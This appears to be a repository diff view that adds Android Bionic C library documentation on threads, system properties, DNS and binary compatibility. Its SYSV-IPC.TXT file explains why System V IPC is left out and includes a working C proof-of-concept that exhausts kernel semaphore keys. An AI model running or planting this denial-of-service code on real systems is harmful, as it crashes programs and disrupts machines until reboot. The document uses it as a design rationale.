|
not needed for Android (which uses other inter-process synchronization
|
||||||
|
capabilities).
|
||||||
|
|
||||||
|
Note that they could be added in the future without breaking the ABI
|
||||||
|
by specifying more sophisticated code paths (which may make the common
|
||||||
|
paths slightly slower though).
|
||||||
|
|
||||||
|
- There is currently no support for read/write locks, priority-ceiling in
|
||||||
|
mutexes and other more advanced features. Again, the main idea being
|
||||||
|
that this was not needed for Android at all but could be added in the
|
||||||
|
future.
|
||||||
|
|
||||||
|
pthread_cancel():
|
||||||
|
|
||||||
|
pthread_cancel() will *not* be supported in Bionic, because doing this would
|
||||||
|
involve making the C library significantly bigger for very little benefit.
|
||||||
|
|
||||||
|
Consider that:
|
||||||
|
|
||||||
|
- A proper implementation must insert pthread cancellation checks in a lot
|
||||||
|
of different places of the C library. And conformance is very difficult
|
||||||
|
to test properly.
|
||||||
|
|
||||||
|
- A proper implementation must also clean up resources, like releasing
|
||||||
|
memory, or unlocking mutexes, properly if the cancellation happens in a
|
||||||
|
complex function (e.g. inside gethostbyname() or fprintf() + complex
|
||||||
|
formatting rules). This tends to slow down the path of many functions.
|
||||||
|
|
||||||
|
- pthread cancellation cannot stop all threads: e.g. it can't do anything
|
||||||
|
against an infinite loop
|
||||||
|
|
||||||
|
- pthread cancellation itself has short-comings and isn't very portable
|
||||||
|
(see http://advogato.org/person/slamb/diary.html?start=49 for example).
|
||||||
|
|
||||||
|
All of this is contrary to the Bionic design goals. If your code depends on
|
||||||
|
thread cancellation, please consider alternatives.
|
||||||
|
|
||||||
|
Note however that Bionic does implement pthread_cleanup_push() and
|
||||||
|
pthread_cleanup_pop(), which can be used to handle cleanups that happen when
|
||||||
|
a thread voluntarily exits through pthread_exit() or returning from its
|
||||||
|
main function.
|
||||||
|
|
||||||
|
|
||||||
|
pthread_once():
|
||||||
|
|
||||||
|
Do not call fork() within a callback provided to pthread_once(). Doing this
|
||||||
|
may result in a deadlock in the child process the next time it calls
|
||||||
|
pthread_once().
|
||||||
|
|
||||||
|
Also, you can't throw a C++ Exception from the callback (see C++ Exception
|
||||||
|
Support below).
|
||||||
|
|
||||||
|
The current implementation of pthread_once() lacks the necessary support of
|
||||||
|
multi-core-safe double-checked-locking (read and write barriers).
|
||||||
|
|
||||||
|
|
||||||
|
Thread-specific data
|
||||||
|
|
||||||
|
The thread-specific storage only provides for a bit less than 64
|
||||||
|
pthread_key_t objects to each process. The implementation provides 64 real
|
||||||
|
slots but also uses about 5 of them (exact number may depend on
|
||||||
|
implementation) for its own use (e.g. two slots are pre-allocated by the C
|
||||||
|
library to speed-up the Android OpenGL sub-system).
|
||||||
|
|
||||||
|
Note that Posix mandates a minimum of 128 slots, but we do not claim to be
|
||||||
|
Posix-compliant.
|
||||||
|
|
||||||
|
Except for the main thread, the TLS area is stored at the top of the stack.
|
||||||
|
See comments in bionic/libc/bionic/pthread.c for details.
|
||||||
|
|
||||||
|
At the moment, thread-local storage defined through the __thread compiler
|
||||||
|
keyword is not supported by the Bionic C library and dynamic linker.
|
||||||
|
|
||||||
|
|
||||||
|
Multi-core support
|
||||||
|
|
||||||
|
At the moment, Bionic does not provide or use read/write memory barriers.
|
||||||
|
This means that using it on certain multi-core systems might not be
|
||||||
|
supported, depending on its exact CPU architecture.
|
||||||
|
|
||||||
|
|
||||||
|
Android-specific features:
|
||||||
|
|
||||||
|
Bionic provides a small number of Android-specific features to its clients:
|
||||||
|
|
||||||
|
- access to system properties:
|
||||||
|
|
||||||
|
Android provides a simple shared value/key space to all processes on the
|
||||||
|
system. It stores a liberal number of 'properties', each of them being a
|
||||||
|
simple size-limited string that can be associated to a size-limited
|
||||||
|
string value.
|
||||||
|
|
||||||
|
The header <sys/system_properties.h> can be used to read system
|
||||||
|
properties and also defines the maximum size of keys and values.
|
||||||
|
|
||||||
|
- Android-specific user/group management:
|
||||||
|
|
||||||
|
There is no /etc/passwd or /etc/groups in Android. By design, it is
|
||||||
|
meant to be used by a single handset user. On the other hand, Android
|
||||||
|
uses the Linux user/group management features extensively to secure
|
||||||
|
process permissions, like access to various filesystem directories.
|
||||||
|
|
||||||
|
In the Android scheme, each installed application gets its own
|
||||||
|
uid_t/gid_t starting from 10000; lower numerical ids are reserved for
|
||||||
|
system daemons.
|
||||||
|
|
||||||
|
getpwnam() recognizes some hard-coded subsystems names (e.g. "radio")
|
||||||
|
and will translate them to their low-user-id values. It also recognizes
|
||||||
|
"app_1234" as the synthetic name of the application that was installed
|
||||||
|
with uid 10000 + 1234, which is 11234. getgrnam() works similarly
|
||||||
|
|
||||||
|
getgrouplist() will always return a single group for any user name,
|
||||||
|
which is the one passed as an input parameter.
|
||||||
|
|
||||||
|
getgrgid() will similarly only return a structure that contains a
|
||||||
|
single-element members list, corresponding to the user with the same
|
||||||
|
numerical value than the group.
|
||||||
|
|
||||||
|
See bionic/libc/bionic/stubs.c for more details.
|
||||||
|
|
||||||
|
- getservent()
|
||||||
|
|
||||||
|
There is no /etc/services on Android. Instead the C library embeds a
|
||||||
|
constant list of services in its executable, which is parsed on demand
|
||||||
|
by the various functions that depend on it. See
|
||||||
|
bionic/libc/netbsd/net/getservent.c and
|
||||||
|
bionic/libc/netbsd/net/services.h
|
||||||
|
|
||||||
|
The list of services defined internally might change liberally in the
|
||||||
|
future. This feature is mostly historically and is very rarely used.
|
||||||
|
|
||||||
|
The getservent() returns thread-local data. getservbyport() and
|
||||||
|
getservbyname() are also implemented in a similar fashion.
|
||||||
|
|
||||||
|
- getprotoent()
|
||||||
|
|
||||||
|
There is no /etc/protocol on Android. Bionic does not currently
|
||||||
|
implement getprotoent() and related functions. If added, it will
|
||||||
|
likely be done in a way similar to getservent()
|
||||||
|
|
||||||
|
DNS resolver:
|
||||||
|
|
||||||
|
Bionic uses a NetBSD-derived resolver library which has been modified in
|
||||||
|
the following ways:
|
||||||
|
|
||||||
|
- don't implement the name-server-switch feature (a.k.a. <nsswitch.h>)
|
||||||
|
|
||||||
|
- read /system/etc/resolv.conf instead of /etc/resolv.conf
|
||||||
|
|
||||||
|
- read the list of servers from system properties. the code looks for
|
||||||
|
'net.dns1', 'net.dns2', etc.. Each property should contain the IP
|
||||||
|
address of a DNS server.
|
||||||
|
|
||||||
|
these properties are set/modified by other parts of the Android system
|
||||||
|
(e.g. the dhcpd daemon).
|
||||||
|
|
||||||
|
the implementation also supports per-process DNS server list, using the
|
||||||
|
properties 'net.dns1.<pid>', 'net.dns2.<pid>', etc... Where <pid> stands
|
||||||
|
for the numerical ID of the current process.
|
||||||
|
|
||||||
|
- when performing a query, use a properly randomized Query ID (instead of
|
||||||
|
a incremented one), for increased security.
|
||||||
|
|
||||||
|
- when performing a query, bind the local client socket to a random port
|
||||||
|
for increased security.
|
||||||
|
|
||||||
|
- get rid of *many* unfortunate thread-safety issues in the original code
|
||||||
|
|
||||||
|
Bionic does *not* expose implementation details of its DNS resolver; the
|
||||||
|
content of <arpa/nameser.h> is intentionally blank. The resolver
|
||||||
|
implementation might change completely in the future.
|
||||||
|
|
||||||
|
|
||||||
|
PThread Real-Time Timers:
|
||||||
|
|
||||||
|
timer_create(), timer_gettime(), timer_settime() and timer_getoverrun() are
|
||||||
|
supported.
|
||||||
|
|
||||||
|
Bionic also now supports SIGEV_THREAD real-time timers (see timer_create()).
|
||||||
|
The implementation simply uses a single thread per timer, unlike GLibc which
|
||||||
|
uses complex heuristics to try to use the less threads possible when several
|
||||||
|
timers with compatible properties are used.
|
||||||
|
|
||||||
|
This means that if your code uses a lot of SIGEV_THREAD timers, your program
|
||||||
|
may consume a lot of memory. However, if your program needs many of these
|
||||||
|
timers, it'd better handle timeout events directly instead.
|
||||||
|
|
||||||
|
Other timers (e.g. SIGEV_SIGNAL) are handled by the kernel and use much less
|
||||||
|
system resources.
|
||||||
|
|
||||||
|
|
||||||
|
Binary Compatibility:
|
||||||
|
|
||||||
|
Bionic is *not* in any way binary-compatible with the GNU C Library, ucLibc
|
||||||
|
or any known Linux C library. This means several things:
|
||||||
|
|
||||||
|
- You cannot expect to build something against the GNU C Library headers and
|
||||||
|
have it dynamically link properly to Bionic later.
|
||||||
|
|
||||||
|
- You should *really* use the Android toolchain to build your program against
|
||||||
|
Bionic. The toolchain deals with many important details that are crucial
|
||||||
|
to get something working properly.
|
||||||
|
|
||||||
|
Failure to do so will usually result in the inability to run or link your
|
||||||
|
program, or even runtime crashes. Several random web pages on the Internet
|
||||||
|
describe how you can succesfully write a "hello-world" program with the
|
||||||
|
ARM GNU toolchain. These examples usually work by chance, if anything else,
|
||||||
|
and you should not follow these instructions unless you want to waste a lot
|
||||||
|
of your time in the process.
|
||||||
|
|
||||||
|
Note however that you *can* generate a binary that is built against the
|
||||||
|
GNU C Library headers and then statically linked to it. The corresponding
|
||||||
|
executable should be able to run (if it doesn't use dlopen()/dlsym())
|
||||||
|
|
||||||
|
|
||||||
|
Dynamic Linker:
|
||||||
|
|
||||||
|
Bionic comes with its own dynamic linker (just like ld.so on Linux really
|
||||||
|
comes from GLibc). This linker does not support all the relocations
|
||||||
|
generated by other GCC ARM toolchains.
|
||||||
|
|
||||||
|
|
||||||
|
C++ Exceptions Support:
|
||||||
|
|
||||||
|
At the moment, Bionic doesn't support C++ exceptions, what this really means
|
||||||
|
is the following:
|
||||||
|
|
||||||
|
- If pthread_once() is called with a C++ callback that throws an exception,
|
||||||
|
then the C library will keep the corresponding pthread_once_t mutex
|
||||||
|
locked. Any further call to pthread_once() will result in a deadlock.
|
||||||
|
|
||||||
|
A proper implementation should be able to register a C++ exception
|
||||||
|
cleanup handler before the callback to properly unlock the
|
||||||
|
pthread_once_t. Unfortunately this requires tricky assembly code that
|
||||||
|
is highly dependent on the compiler.
|
||||||
|
|
||||||
|
This feature is not planned to be supported anytime soon.
|
||||||
|
|
||||||
|
- The same problem may arise if you throw an exception within a callback
|
||||||
|
called from the C library. Fortunately, these cases are very rare in the
|
||||||
|
real-world, but any callback you provide to the C library should *not*
|
||||||
|
throw an exception.
|
||||||
|
|
||||||
|
- Bionic lacks a few support functions to have exception support work
|
||||||
|
properly.
|
||||||
|
|
||||||
|
System V IPCs:
|
||||||
|
|
||||||
|
Bionic intentionally does not provide support for System-V IPCs mechanisms,
|
||||||
|
like the ones provided by semget(), shmget(), msgget(). The reason for this
|
||||||
|
is to avoid denial-of-service. For a detailed rationale about this, please
|
||||||
|
read the file docs/SYSV-IPCS.TXT.
|
||||||
|
|
||||||
|
Include Paths:
|
||||||
|
|
||||||
|
The Android build system should automatically provide the necessary include
|
||||||
|
paths required to build against the C library headers. However, if you want
|
||||||
|
to do that yourself, you will need to add:
|
||||||
|
|
||||||
|
libc/arch-$ARCH/include
|
||||||
|
libc/include
|
||||||
|
libc/kernel/common
|
||||||
|
libc/kernel/arch-$ARCH
|
||||||
|
|
||||||
|
to your C include path.
|
||||||
103
ndk/docs/system/libc/SYSV-IPC.TXT
Normal file
103
ndk/docs/system/libc/SYSV-IPC.TXT
Normal file
@@ -0,0 +1,103 @@
|
|||||||
|
Android does not support System V IPCs, i.e. the facilities provided by the
|
||||||
|
following standard Posix headers:
|
||||||
|
|
||||||
|
<sys/sem.h> /* SysV semaphores */
|
||||||
|
<sys/shm.h> /* SysV shared memory segments */
|
||||||
|
<sys/msg.h> /* SysV message queues */
|
||||||
|
<sys/ipc.h> /* General IPC definitions */
|
||||||
|
|
||||||
|
The reason for this is due to the fact that, by design, they lead to global
|
||||||
|
kernel resource leakage.
|
||||||
|
|
||||||
|
For example, there is no way to automatically release a SysV semaphore
|
||||||
|
allocated in the kernel when:
|
||||||
|
|
||||||
|
- a buggy or malicious process exits
|
||||||
|
- a non-buggy and non-malicious process crashes or is explicitely killed.
|
||||||
|
|
||||||
|
Killing processes automatically to make room for new ones is an
|
||||||
|
important part of Android's application lifecycle implementation. This means
|
||||||
|
that, even assuming only non-buggy and non-malicious code, it is very likely
|
||||||
|
that over time, the kernel global tables used to implement SysV IPCs will fill
|
||||||
|
up.
|
||||||
|
|
||||||
|
At that point, strange failures are likely to occur and prevent programs that
|
||||||
|
use them to run properly until the next reboot of the system.
|
||||||
|
|
||||||
|
And we can't ignore potential malicious applications. As a proof of concept
|
||||||
|
here is a simple exploit that you can run on a standard Linux box today:
|
||||||
|
|
||||||
|
--------------- cut here ------------------------
|
||||||
|
#include <sys/sem.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <errno.h>
|
||||||
|
|
||||||
|
#define NUM_SEMAPHORES 32
|
||||||
|
#define MAX_FAILS 10
|
||||||
|
|
||||||
|
int main(void)
|
||||||
|
{
|
||||||
|
int counter = 0;
|
||||||
|
int fails = 0;
|
||||||
|
|
||||||
|
if (counter == IPC_PRIVATE)
|
||||||
|
counter++;
|
||||||
|
|
||||||
|
printf( "%d (NUM_SEMAPHORES=%d)\n", counter, NUM_SEMAPHORES);
|
||||||
|
|
||||||
|
for (;;) {
|
||||||
|
int ret = fork();
|
||||||
|
int status;
|
||||||
|
|
||||||
|
if (ret < 0) {
|
||||||
|
perror("fork:");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (ret == 0) {
|
||||||
|
/* in the child */
|
||||||
|
ret = semget( (key_t)counter, NUM_SEMAPHORES, IPC_CREAT );
|
||||||
|
if (ret < 0) {
|
||||||
|
return errno;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
/* in the parent */
|
||||||
|
ret = wait(&status);
|
||||||
|
if (ret < 0) {
|
||||||
|
perror("waitpid:");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (status != 0) {
|
||||||
|
status = WEXITSTATUS(status);
|
||||||
|
fprintf(stderr, "child %d FAIL at counter=%d: %d\n", ret,
|
||||||
|
counter, status);
|
||||||
|
if (++fails >= MAX_FAILS)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
counter++;
|
||||||
|
if ((counter % 1000) == 0) {
|
||||||
|
printf("%d\n", counter);
|
||||||
|
}
|
||||||
|
if (counter == IPC_PRIVATE)
|
||||||
|
counter++;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
--------------- cut here ------------------------
|
||||||
|
|
||||||
|
If you run it on a typical Linux distribution today, you'll discover that it
|
||||||
|
will quickly fill up the kernel's table of unique key_t values, and that
|
||||||
|
strange things will happen in some parts of the system, but not all.
|
||||||
|
|
||||||
|
(You can use the "ipcs -u" command to get a summary describing the kernel
|
||||||
|
tables and their allocations)
|
||||||
|
|
||||||
|
For example, in our experience, anything program launched after that that
|
||||||
|
calls strerror() will simply crash. The USB sub-system starts spoutting weird
|
||||||
|
errors to the system console, etc...
|
||||||
Reference in New Issue
Block a user